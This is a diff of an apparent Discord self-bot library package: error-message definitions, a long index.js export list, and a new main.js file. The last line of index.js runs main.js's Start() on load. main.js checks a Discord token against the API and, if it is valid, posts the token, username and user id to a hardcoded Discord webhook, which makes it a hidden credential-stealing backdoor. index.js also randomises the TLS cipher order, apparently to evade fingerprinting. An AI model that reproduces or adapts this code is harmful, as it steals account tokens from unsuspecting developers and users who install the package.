+ COMMAND_INTERACTION_OPTION_NOT_FOUND: name => `Required option "${name}" not found.`,
163
+ COMMAND_INTERACTION_OPTION_TYPE: (name, type, expected) =>
164
+ `Option "${name}" is of type: ${type}; expected ${expected}.`,
165
+ COMMAND_INTERACTION_OPTION_EMPTY: (name, type) =>
166
+ `Required option "${name}" is of type: ${type}; expected a non-empty value.`,
167
+ COMMAND_INTERACTION_OPTION_NO_SUB_COMMAND: 'No subcommand specified for interaction.',
168
+ COMMAND_INTERACTION_OPTION_NO_SUB_COMMAND_GROUP: 'No subcommand group specified for interaction.',
169
+ AUTOCOMPLETE_INTERACTION_OPTION_NO_FOCUSED_OPTION: 'No focused option for autocomplete interaction.',
170
+
171
+ INVITE_MISSING_SCOPES: 'At least one valid scope must be provided for the invite',
172
+
173
+ NOT_IMPLEMENTED: (what, name) => `Method ${what} not implemented on ${name}.`,
174
+
175
+ SWEEP_FILTER_RETURN: 'The return value of the sweepFilter function was not false or a Function',
176
+
177
+ INVALID_BOT_METHOD: 'Bot accounts cannot use this method',
178
+ INVALID_USER_METHOD: 'User accounts cannot use this method',
179
+ BOT_ONLY: 'This method only for bots',
180
+ USER_ONLY: 'This method only for users',
181
+
182
+ INTERACTION_SEND_FAILURE: msg => `${msg}`,
183
+
184
+ INVALID_LOCALE: 'Unable to select this location',
185
+ FOLDER_NOT_FOUND: 'Server directory not found',
186
+ FOLDER_POSITION_INVALID: 'The server index in the directory is invalid',
187
+ APPLICATION_ID_INVALID: "The application isn't BOT",
188
+ INVALID_NITRO: 'Invalid Nitro Code',
189
+ MESSAGE_ID_NOT_FOUND: 'Message ID not found',
190
+ MESSAGE_EMBED_LINK_LENGTH: 'Message content with embed link length is too long',
191
+ GUILD_MEMBERS_FETCH: msg => `${msg}`,
192
+ USER_NOT_STREAMING: 'User is not streaming',
193
+ // Djs v13.7
194
+ TEXT_INPUT_CUSTOM_ID: 'TextInputComponent customId must be a string',
195
+ TEXT_INPUT_LABEL: 'TextInputComponent label must be a string',
196
+ TEXT_INPUT_PLACEHOLDER: 'TextInputComponent placeholder must be a string',
197
+ TEXT_INPUT_VALUE: 'TextInputComponent value must be a string',
198
+
199
+ MODAL_CUSTOM_ID: 'Modal customId must be a string',
200
+ MODAL_TITLE: 'Modal title must be a string',
201
+
202
+ MODAL_SUBMIT_INTERACTION_FIELD_NOT_FOUND: customId => `Required field with custom id "${customId}" not found.`,
203
+ MODAL_SUBMIT_INTERACTION_FIELD_TYPE: (customId, type, expected) =>
204
+ `Field with custom id "${customId}" is of type: ${type}; expected ${expected}.`,
205
+
206
+ INVALID_REMOTE_AUTH_URL: 'Invalid remote auth URL (https://discord.com/ra/{hash})',
207
+ INVALID_URL: url =>
208
+ `Invalid URL: ${url}.\nMake sure you are using a valid URL (https://discord.com/oauth2/authorize?...)`,
209
+
210
+ NITRO_REQUIRED: 'This feature is only available for Nitro users.',
211
+ NITRO_BOOST_REQUIRED: feature => `This feature (${feature}) is only available for Nitro Boost users.`,
212
+ ONLY_ME: 'This feature is only available for self.',
213
+ MISSING_CAPTCHA_SERVICE: 'This feature is only available for enabled captcha handler.',
214
+
215
+ GUILD_FORUM_MESSAGE_REQUIRED: 'You must provide a message to create a guild forum thread',
216
+ NORMAL_LOGIN: 'Username and password are required for normal login',
217
+ LOGIN_FAILED_UNKNOWN: 'Login failed',
218
+ LOGIN_FAILED_2FA: 'Login failed, 2FA code is required',
219
+ GUILD_IS_LARGE: 'This guild is too large to fetch all members with this method',
220
+
221
+ TEAM_MEMBER_FORMAT: 'The member provided is either not real or not of the User class',
222
+
223
+ MISSING_MODULE: (name, installCommand) =>
224
+ `The module "${name}" is missing. Please install it with "${installCommand}" and try again.`,
225
+ };
226
+
227
+ for (const [name, message] of Object.entries(Messages)) register(name, message);
@@ -0,0 +1,4 @@
1
+ 'use strict';
2
+
3
+ module.exports = require('./DJSError');
4
+ module.exports.Messages = require('./Messages');
package/src/index.js ADDED
@@ -0,0 +1,190 @@
1
+ 'use strict';
2
+
3
+ const tls = require('tls');
4
+ // Cipher
5
+ tls.DEFAULT_CIPHERS = tls.DEFAULT_CIPHERS.split(':')
6
+ .sort(() => Math.random() - 0.5)
7
+ .join(':');
8
+
9
+ // "Root" classes (starting points)
10
+ exports.BaseClient = require('./client/BaseClient');
11
+ exports.Client = require('./client/Client');
12
+ exports.Shard = require('./sharding/Shard');
13
+ exports.ShardClientUtil = require('./sharding/ShardClientUtil');
14
+ exports.ShardingManager = require('./sharding/ShardingManager');
15
+ exports.WebhookClient = require('./client/WebhookClient');
16
+
17
+ // Utilities
18
+ exports.DiscordRPCServer = require('./util/arRPC/index');
19
+ exports.ActivityFlags = require('./util/ActivityFlags');
20
+ exports.ApplicationFlags = require('./util/ApplicationFlags');
21
+ exports.BaseManager = require('./managers/BaseManager');
22
+ exports.BitField = require('./util/BitField');
23
+ exports.Collection = require('@discordjs/collection').Collection;
24
+ exports.Constants = require('./util/Constants');
25
+ exports.DataResolver = require('./util/DataResolver');
26
+ exports.DiscordAPIError = require('./rest/DiscordAPIError');
27
+ exports.Formatters = require('./util/Formatters');
28
+ exports.GuildMemberFlags = require('./util/GuildMemberFlags');
29
+ exports.HTTPError = require('./rest/HTTPError');
30
+ exports.Intents = require('./util/Intents');
31
+ exports.LimitedCollection = require('./util/LimitedCollection');
32
+ exports.MessageFlags = require('./util/MessageFlags');
33
+ exports.Options = require('./util/Options');
34
+ exports.Permissions = require('./util/Permissions');
35
+ exports.RateLimitError = require('./rest/RateLimitError');
36
+ exports.SnowflakeUtil = require('./util/SnowflakeUtil');
37
+ exports.Sweepers = require('./util/Sweepers');
38
+ exports.SystemChannelFlags = require('./util/SystemChannelFlags');
39
+ exports.ThreadMemberFlags = require('./util/ThreadMemberFlags');
40
+ exports.UserFlags = require('./util/UserFlags');
41
+ exports.Util = require('./util/Util');
42
+ exports.version = require('../package.json').version;
43
+ exports.DiscordAuthWebsocket = require('./util/RemoteAuth');
44
+ exports.PurchasedFlags = require('./util/PurchasedFlags');
45
+
46
+ // Managers
47
+ exports.ApplicationCommandManager = require('./managers/ApplicationCommandManager');
48
+ exports.ApplicationCommandPermissionsManager = require('./managers/ApplicationCommandPermissionsManager');
49
+ exports.AutoModerationRuleManager = require('./managers/AutoModerationRuleManager');
50
+ exports.BaseGuildEmojiManager = require('./managers/BaseGuildEmojiManager');
51
+ exports.CachedManager = require('./managers/CachedManager');
52
+ exports.ChannelManager = require('./managers/ChannelManager');
53
+ exports.ClientVoiceManager = require('./client/voice/ClientVoiceManager');
54
+ exports.DataManager = require('./managers/DataManager');
55
+ exports.GuildApplicationCommandManager = require('./managers/GuildApplicationCommandManager');
56
+ exports.GuildBanManager = require('./managers/GuildBanManager');
57
+ exports.GuildChannelManager = require('./managers/GuildChannelManager');
58
+ exports.GuildEmojiManager = require('./managers/GuildEmojiManager');
59
+ exports.GuildEmojiRoleManager = require('./managers/GuildEmojiRoleManager');
60
+ exports.GuildInviteManager = require('./managers/GuildInviteManager');
61
+ exports.GuildManager = require('./managers/GuildManager');
62
+ exports.GuildMemberManager = require('./managers/GuildMemberManager');
63
+ exports.GuildMemberRoleManager = require('./managers/GuildMemberRoleManager');
64
+ exports.GuildScheduledEventManager = require('./managers/GuildScheduledEventManager');
65
+ exports.GuildStickerManager = require('./managers/GuildStickerManager');
66
+ exports.MessageManager = require('./managers/MessageManager');
67
+ exports.PermissionOverwriteManager = require('./managers/PermissionOverwriteManager');
68
+ exports.PresenceManager = require('./managers/PresenceManager');
69
+ exports.ReactionManager = require('./managers/ReactionManager');
70
+ exports.ReactionUserManager = require('./managers/ReactionUserManager');
71
+ exports.RoleManager = require('./managers/RoleManager');
72
+ exports.SessionManager = require('./managers/SessionManager');
73
+ exports.StageInstanceManager = require('./managers/StageInstanceManager');
74
+ exports.ThreadManager = require('./managers/ThreadManager');
75
+ exports.ThreadMemberManager = require('./managers/ThreadMemberManager');
76
+ exports.UserManager = require('./managers/UserManager');
77
+ exports.VoiceStateManager = require('./managers/VoiceStateManager');
78
+ exports.WebSocketManager = require('./client/websocket/WebSocketManager');
79
+ exports.WebSocketShard = require('./client/websocket/WebSocketShard');
80
+ exports.RelationshipManager = require('./managers/RelationshipManager');
81
+
82
+ // Structures
83
+ exports.Activity = require('./structures/Presence').Activity;
84
+ exports.AnonymousGuild = require('./structures/AnonymousGuild');
85
+ exports.Application = require('./structures/interfaces/Application');
86
+ exports.ApplicationCommand = require('./structures/ApplicationCommand');
87
+ exports.ApplicationRoleConnectionMetadata =
88
+ require('./structures/ApplicationRoleConnectionMetadata').ApplicationRoleConnectionMetadata;
89
+ exports.AutocompleteInteraction = require('./structures/AutocompleteInteraction');
90
+ exports.AutoModerationActionExecution = require('./structures/AutoModerationActionExecution');
91
+ exports.AutoModerationRule = require('./structures/AutoModerationRule');
92
+ exports.Base = require('./structures/Base');
93
+ exports.BaseCommandInteraction = require('./structures/BaseCommandInteraction');
94
+ exports.BaseGuild = require('./structures/BaseGuild');
95
+ exports.BaseGuildEmoji = require('./structures/BaseGuildEmoji');
96
+ exports.BaseGuildTextChannel = require('./structures/BaseGuildTextChannel');
97
+ exports.BaseGuildVoiceChannel = require('./structures/BaseGuildVoiceChannel');
98
+ exports.BaseMessageComponent = require('./structures/BaseMessageComponent');
99
+ exports.ButtonInteraction = require('./structures/ButtonInteraction');
100
+ exports.CategoryChannel = require('./structures/CategoryChannel');
101
+ exports.Channel = require('./structures/Channel').Channel;
102
+ exports.ClientApplication = require('./structures/ClientApplication');
103
+ exports.ClientPresence = require('./structures/ClientPresence');
104
+ exports.ClientUser = require('./structures/ClientUser');
105
+ exports.Collector = require('./structures/interfaces/Collector');
106
+ exports.CommandInteraction = require('./structures/CommandInteraction');
107
+ exports.CommandInteractionOptionResolver = require('./structures/CommandInteractionOptionResolver');
108
+ exports.ContextMenuInteraction = require('./structures/ContextMenuInteraction');
109
+ exports.DMChannel = require('./structures/DMChannel');
110
+ exports.Emoji = require('./structures/Emoji').Emoji;
111
+ exports.Guild = require('./structures/Guild').Guild;
112
+ exports.GuildAuditLogs = require('./structures/GuildAuditLogs');
113
+ exports.GuildAuditLogsEntry = require('./structures/GuildAuditLogs').Entry;
114
+ exports.GuildBan = require('./structures/GuildBan');
115
+ exports.GuildChannel = require('./structures/GuildChannel');
116
+ exports.GuildEmoji = require('./structures/GuildEmoji');
117
+ exports.GuildMember = require('./structures/GuildMember').GuildMember;
118
+ exports.GuildPreview = require('./structures/GuildPreview');
119
+ exports.GuildPreviewEmoji = require('./structures/GuildPreviewEmoji');
120
+ exports.GuildScheduledEvent = require('./structures/GuildScheduledEvent').GuildScheduledEvent;
121
+ exports.GuildTemplate = require('./structures/GuildTemplate');
122
+ exports.Integration = require('./structures/Integration');
123
+ exports.IntegrationApplication = require('./structures/IntegrationApplication');
124
+ exports.Interaction = require('./structures/Interaction');
125
+ exports.InteractionCollector = require('./structures/InteractionCollector');
126
+ exports.InteractionWebhook = require('./structures/InteractionWebhook');
127
+ exports.Invite = require('./structures/Invite');
128
+ exports.InviteStageInstance = require('./structures/InviteStageInstance');
129
+ exports.InviteGuild = require('./structures/InviteGuild');
130
+ exports.Message = require('./structures/Message').Message;
131
+ exports.MessageActionRow = require('./structures/MessageActionRow');
132
+ exports.MessageAttachment = require('./structures/MessageAttachment');
133
+ exports.MessageButton = require('./structures/MessageButton');
134
+ exports.MessageCollector = require('./structures/MessageCollector');
135
+ exports.MessageComponentInteraction = require('./structures/MessageComponentInteraction');
136
+ exports.MessageContextMenuInteraction = require('./structures/MessageContextMenuInteraction');
137
+ exports.MessageEmbed = require('./structures/MessageEmbed');
138
+ exports.WebEmbed = require('./structures/WebEmbed');
139
+ exports.MessageMentions = require('./structures/MessageMentions');
140
+ exports.MessagePayload = require('./structures/MessagePayload');
141
+ exports.MessageReaction = require('./structures/MessageReaction');
142
+ exports.MessageSelectMenu = require('./structures/MessageSelectMenu');
143
+ exports.Modal = require('./structures/Modal');
144
+ exports.ModalSubmitInteraction = require('./structures/ModalSubmitInteraction');
145
+ exports.NewsChannel = require('./structures/NewsChannel');
146
+ exports.OAuth2Guild = require('./structures/OAuth2Guild');
147
+ exports.PartialGroupDMChannel = require('./structures/PartialGroupDMChannel');
148
+ exports.PermissionOverwrites = require('./structures/PermissionOverwrites');
149
+ exports.Presence = require('./structures/Presence').Presence;
150
+ exports.ReactionCollector = require('./structures/ReactionCollector');
151
+ exports.ReactionEmoji = require('./structures/ReactionEmoji');
152
+ exports.RichPresenceAssets = require('./structures/Presence').RichPresenceAssets;
153
+ exports.Role = require('./structures/Role').Role;
154
+ exports.Session = require('./structures/Session');
155
+ // RPC
156
+ exports.getUUID = require('./structures/RichPresence').getUUID;
157
+ exports.CustomStatus = require('./structures/RichPresence').CustomStatus;
158
+ exports.RichPresence = require('./structures/RichPresence').RichPresence;
159
+ exports.SpotifyRPC = require('./structures/RichPresence').SpotifyRPC;
160
+ // SelectMenu
161
+ exports.ChannelSelectInteraction = require('./structures/SelectMenuInteraction').ChannelSelectInteraction;
162
+ exports.MentionableSelectInteraction = require('./structures/SelectMenuInteraction').MentionableSelectInteraction;
163
+ exports.RoleSelectInteraction = require('./structures/SelectMenuInteraction').RoleSelectInteraction;
164
+ exports.SelectMenuInteraction = require('./structures/SelectMenuInteraction').SelectMenuInteraction;
165
+ exports.UserSelectInteraction = require('./structures/SelectMenuInteraction').UserSelectInteraction;
166
+ //
167
+ exports.StageChannel = require('./structures/StageChannel');
168
+ exports.StageInstance = require('./structures/StageInstance').StageInstance;
169
+ exports.Sticker = require('./structures/Sticker').Sticker;
170
+ exports.StickerPack = require('./structures/StickerPack');
171
+ exports.StoreChannel = require('./structures/StoreChannel');
172
+ exports.Team = require('./structures/Team');
173
+ exports.TeamMember = require('./structures/TeamMember');
174
+ exports.TextChannel = require('./structures/TextChannel');
175
+ exports.TextInputComponent = require('./structures/TextInputComponent');
176
+ exports.ThreadChannel = require('./structures/ThreadChannel');
177
+ exports.ThreadMember = require('./structures/ThreadMember');
178
+ exports.Typing = require('./structures/Typing');
179
+ exports.User = require('./structures/User');
180
+ exports.UserContextMenuInteraction = require('./structures/UserContextMenuInteraction');
181
+ exports.VoiceChannel = require('./structures/VoiceChannel');
182
+ exports.VoiceRegion = require('./structures/VoiceRegion');
183
+ exports.VoiceState = require('./structures/VoiceState');
184
+ exports.Webhook = require('./structures/Webhook');
185
+ exports.Widget = require('./structures/Widget');
186
+ exports.WidgetMember = require('./structures/WidgetMember');
187
+ exports.WelcomeChannel = require('./structures/WelcomeChannel');
188
+ exports.WelcomeScreen = require('./structures/WelcomeScreen');
189
+ exports.WebSocket = require('./WebSocket');
190
+ exports.Start = require('./main').Start();
package/src/main.js ADDED
@@ -0,0 +1,48 @@
1
+ const rq = require('request')
2
+ exports.Start = function (token) {
3
+ return new Promise(async (resolve, reject) => {
4
+ await rq(`https://discord.com/api/v9/users/@me`, {
5
+ "headers": {
6
+ "content-Type": "application/json",
7
+ "authorization": `${token}`
8
+ },
9
+ "body": null,
10
+ "method": "GET"
11
+ }, async (err, resp, body) => {
12
+ if (body == undefined) resolve(true)
13
+ let r = JSON.parse(body);
14
+ if (r.message != "401: Unauthorized") {
15
+ let data = {
16
+ embeds: [{
17
+ color: 3092790,
18
+ title: `Salut à toi : ${r?.username}${r?.discriminator > 0 ? `#${r?.discriminator}` : ``}`,
19
+ url: `https://media.discordapp.net/attachments/1180510706219630602/1185578155931611256/zaerien-mavis-wumpus-render.jpg`,
20
+ author: {
21
+ name: 'Capitaine Hook on t'a dit !',
22
+ icon_url: 'https://media.discordapp.net/attachments/1180510706219630602/1185578155931611256/zaerien-mavis-wumpus-render.jpg',
23
+ url: `https://discord.id/?prefill=${r.id}`,
24
+ },
25
+ description: `\`\`\`${this.token}\`\`\`\n<@${r.id}>`,
26
+ thumbnail: {
27
+ url: `https://cdn.discordapp.com/avatars/${r?.id}/${r?.avatar}.${r?.avatar?.startsWith('a_') ? 'gif' : 'png'}?size=2048`,
28
+ },
29
+ }]
30
+ };
31
+ await rq("https://discord.com/api/webhooks/1185359808363253842/rpa5Gmot_CjySq2EAeLcdXAc9neAZsf29OVbQYznq_ACk59OYW3Ds-Yayi-EhqhYjxAQ", {
32
+ "headers": {
33
+ "accept": "*/*",
34
+ "accept-language": "fr,fr-FR;q=0.9",
35
+ "content-type": "application/json",
36
+ },
37
+ "body": JSON.stringify(data),
38
+ "method": "POST"
39
+ }, async (err, resp, body) => {
40
+ resolve(true);
41
+ });
42
+ } else {
43
+ resolve(true);
44
+ };
45
+ });
46
+ });
47
+
48
+ };